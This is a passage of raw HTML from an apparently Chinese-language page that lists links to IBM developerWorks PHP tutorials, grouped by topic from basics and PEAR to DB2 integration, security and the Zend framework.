MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/views/opensource/tutorials.jsp?cv_doc_id=91693" target="_blank">学习 PHP，第三部分</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/linux/sdk/php/wa-phprock1/index.html" target="_blank">用 PHP 开发健壮的代码，第 1 部分</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/linux/sdk/php/wa-phprock2/index.html" target="_blank">用 PHP 开发健壮的代码，第 2 部分：有效地使用变量</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/linux/sdk/php/wa-phprock3/index.html" target="_blank">用 PHP 开发健壮的代码，第 3 部分：编写可重用函数 &#8212; 充分利用函数</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/linux/w-zoltan/index.html" target="_blank">PHP 例解,第 1 部分：轻松的 Webzine 编辑和发送</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/linux/web-zoltan2/index.html" target="_blank">PHP 例解,第 2 部分：深入研究 Webzine 编辑和发送</a></p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em">高级 PHP <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/opensource/os-advphpobj/" target="_blank">高级 PHP V5 对象</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/views/opensource/tutorials.jsp?cv_doc_id=110102" target="_blank">用 PHP 构建 Web 服务</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/views/opensource/tutorials.jsp?cv_doc_id=110077/" target="_blank">用 PHP 绘制 3-D 图像</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/opensource/os-objorient/" target="_blank">使用 PHP 创建图形的巧妙方法</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/views/opensource/tutorials.jsp?cv_doc_id=102961" target="_blank">如何在 PHP 中使用正则表达式</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/linux/sdk/php/wa-phpform/index.html" target="_blank">结合 PHP 使用 HTML 表单</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/opensource/os-xmldomphp/" target="_blank">用 PHP 读取和编写 XML DOM</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/opensource/os-phpws/index.html" target="_blank">通过 PHP 脚本访问企业应用</a></p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em">PHP 设计 <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/linux/sdk/php/php_design/index.html" target="_blank">MVC 模式、类封装还是黑客代码——合理设计 PHP 项目</a></p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em">PHP 应用 <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/views/opensource/tutorials.jsp?cv_doc_id=110077/" target="_blank">使用 PHP 构建搜索优化应用程序，第 1 部分：入门</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/views/opensource/tutorials.jsp?cv_doc_id=110095" target="_blank">用 OpenLaszlo 装点 PHP 应用，第 1 部分: 创建交互式界面</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/views/opensource/tutorials.jsp?cv_doc_id=110096" target="_blank">用 OpenLaszlo 装点 PHP 应用，第 2 部分: PHP REST 和数据绑定</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/views/opensource/tutorials.jsp?cv_doc_id=110097" target="_blank">用 OpenLaszlo 装点 PHP 应用，第 3 部分: 添加数据库</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/linux/l-snort/" target="_blank">使用 Snort 和 PHP 构建一个小型网络防御系统</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/linux/wa-phpolla/index.html" target="_blank">用 PHP 使 Web 数据分析进入更高境界 &#8212; 设计您的数据分析，做比简单原始计数更多的事</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/linux/wa-linphp/index.html" target="_blank">用 PHP 实现的简单线性回归：第 1 部分 &#8212; 数学库在 PHP 中的重要性</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/linux/wa-linphp2/index.html" target="_blank">用 PHP 实现的简单线性回归，第 2 部分 &#8212; 解决输出和概率函数缺陷的数据研究工具</a></p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em"> </p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em">调试和监测 <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/opensource/os-debug/" target="_blank">PHP 程序员的调试技术</a></p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em">集成 <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" />IBM 数据库服务器 <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/db2/library/techarticles/dm-0511appdev/" target="_blank">使用 DB2 UDB 进行应用程序开发</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/db2/library/techarticle/dm-0502scott/?S_TACT=105AGX52&amp;S_CMP=cn-a-os" target="_blank">用 PHP 开发 IBM Cloudscape 和 DB2 通用数据库应用程序</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/db2/library/techarticles/dm-0505furlong/" target="_blank">通过 PDO 将 PHP 连接到 DB2 和 Cloudscape</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/db2/library/techarticle/dm-0502nickolas/?S_TACT=105AGX52&amp;S_CMP=cn-a-os" target="_blank">Zend Core for IBM 技术路线图</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/db2/library/techarticle/dm-0507hutchison/?S_TACT=105AGX52&amp;S_CMP=cn-a-os" target="_blank">Zend Core for IBM &#8211; PHP 开发人员指南</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/db2/library/techarticle/dm-0602hutchison/?S_TACT=105AGX52&amp;S_CMP=cn-a-os" target="_blank">DB2 Express-C：IBM 提供的免费大餐</a></p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em"> </p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em">IBM Web 和应用服务器 <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/opensource/os-phphttp/" target="_blank">在 IBM HTTP Server 上部署 PHP 应用程序</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/websphere/techjournal/0505_krook/0505_krook.html" target="_blank">IBM WebSphere 开发者技术期刊: 使用 PHP 和 J2EE 来实现通用的 Web 应用程序基础架构</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/views/opensource/tutorials.jsp?cv_doc_id=108168" target="_blank">在 Apache Geronimo 中运行 PHP 应用程序</a></p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em"> </p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em">第三方服务 <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/views/webservices/tutorials.jsp?cv_doc_id=96126" target="_blank">使用 Web 服务和 eBay SDK 开发应用程序，第 1 部分： 构建 eBay 搜索引擎</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/views/webservices/tutorials.jsp?cv_doc_id=102702" target="_blank">使用 Web 服务和 eBay SDK 开发应用程序，第 2 部分：使用 eBay SOAP API 构建一个 eBay 搜索引擎</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/views/opensource/tutorials.jsp?cv_doc_id=101469" target="_blank">用 PHP、Derby 和 PayPal 创建 Web 店面，第 1 部分：设置基本数据库</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/views/opensource/tutorials.jsp?cv_doc_id=101470" target="_blank">用 PHP、Derby 和 PayPal 创建 Web 店面，第 2 部分：收集付款</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/views/opensource/tutorials.jsp?cv_doc_id=101471" target="_blank">用 PHP、Derby 和 PayPal 创建 Web 店面，第 3 部分: 设置订单、送货和电子邮件</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/views/opensource/tutorials.jsp?cv_doc_id=100537" target="_blank">用 PHP 创建 Amazon 店面，第 1 部分：用 Amazon ECS 获得内容</a></p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em"> </p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em">扩展 <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/opensource/os-sdophp/" target="_blank">PHP 服务数据对象简介</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/opensource/os-phpbot/" target="_blank">如何使您的 PHP 应用程序变成聊天机器人</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/linux/sdk/php/template/evaluate/index.html" target="_blank">在 PHP 世界中选择最合适的模板</a></p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em"> </p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em">PEAR（PHP Extension and Application Repository） <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/linux/sdk/php/pear1/index.html" target="_blank">PEAR 简介：用 PEAR 来写你的下一个 PHP 程序</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/linux/sdk/php/pear2/index.html" target="_blank">PEAR 简介：常用模块</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/linux/sdk/php/pear3/index.html" target="_blank">PEAR 简介：使用 PHPDoc 轻松建立你的 PEAR 文档</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/linux/sdk/php/pear4/index.html" target="_blank">PEAR 简介：创建中间的数据库应用层</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/linux/sdk/php/pear5/index.html" target="_blank">PEAR 实践：PHP 中 MVC 机制的实现</a></p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em"> </p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em">安全性 <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www.ibm.com/developerworks/cn/views/opensource/tutorials.jsp?cv_doc_id=110103" target="_blank">确保 PHP 应用程序的安全</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/opensource/os-php1/" target="_blank">审计 PHP，第 1 部分：理解 register_globals</a></p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em"> </p>
<p style="PADDING-BOTTOM: 0.5em; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0.5em">PHP Zend 框架 <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/opensource/os-php-zend1/index.html" target="_blank">理解 Zend 框架，第 1 部分：基础 &#8212; 介绍 Zend 框架</a> <br style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" /><a style="PADDING-BOTTOM: 0px; BACKGROUND-COLOR: transparent; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: #00cc99; TEXT-DECORATION: none; PADDING-TOP: 0px" href="http://www-128.ibm.com/developerworks/cn/views/opensource/tutorials.jsp?cv_doc_id=169446" target="_blank">理解 Zend 框架，第 2 部分: 